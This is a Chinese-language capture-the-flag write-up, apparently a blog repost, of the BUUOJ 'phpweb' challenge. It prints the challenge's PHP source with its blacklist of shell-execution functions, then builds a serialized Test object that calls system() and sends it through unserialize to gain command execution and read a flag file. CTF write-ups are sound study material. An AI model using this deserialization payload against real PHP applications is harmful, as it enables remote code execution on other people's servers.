1. 程式人生 > 其它 >[BUUOJ記錄] [網鼎杯 2020 朱雀組] phpweb

[BUUOJ記錄] [網鼎杯 2020 朱雀組] phpweb

進入題目在原始碼看到兩個傳參:

一個是函式名,一個是引數,猜測後端應該是一個call_user_func(),post請求:func=file_get_contents&p=index.php
得到index.php的原始碼:

    <?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

可以看到call_user_func()gettime()方法中,但是如果直接通過傳參來執行語句會經過黑名單過濾,黑名單過濾了很多命令執行和檔案讀取函式。
再認真看程式碼發現有一個Test類,同樣也可以呼叫gettime()方法,而且不經過黑名單檢測,所以我們可以利用反序列化來觸發__destruct中的gettime()方法從而實現RCE。
構造:

<?php
    class Test {
        var $p = "ls /";
        var $func = "system";
    }
    $o = new Test;
    echo urlencode(serialize($o));
//O%3A4%3A%22Test%22%3A2%3A%7Bs%3A1%3A%22p%22%3Bs%3A4%3A%22ls+%2F%22%3Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3B%7D

然後觸發反序列化:index.php?func=unserialize&p=O%3A4%3A%22Test%22%3A2%3A%7Bs%3A1%3A%22p%22%3Bs%3A4%3A%22ls+%2F%22%3Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3B%7D

成功RCE,然後尋找一下flag檔案:find / -name 'flag*'
/tmp下找到flag檔案:

再執行:cat /tmp/flagoefiu4r93即可獲得flag:

[ * ]部落格中轉載的文章均已標明出處與來源,若無意產生侵權行為深表歉意,需要刪除或更改請聯絡博主: 2245998470[at]qq.com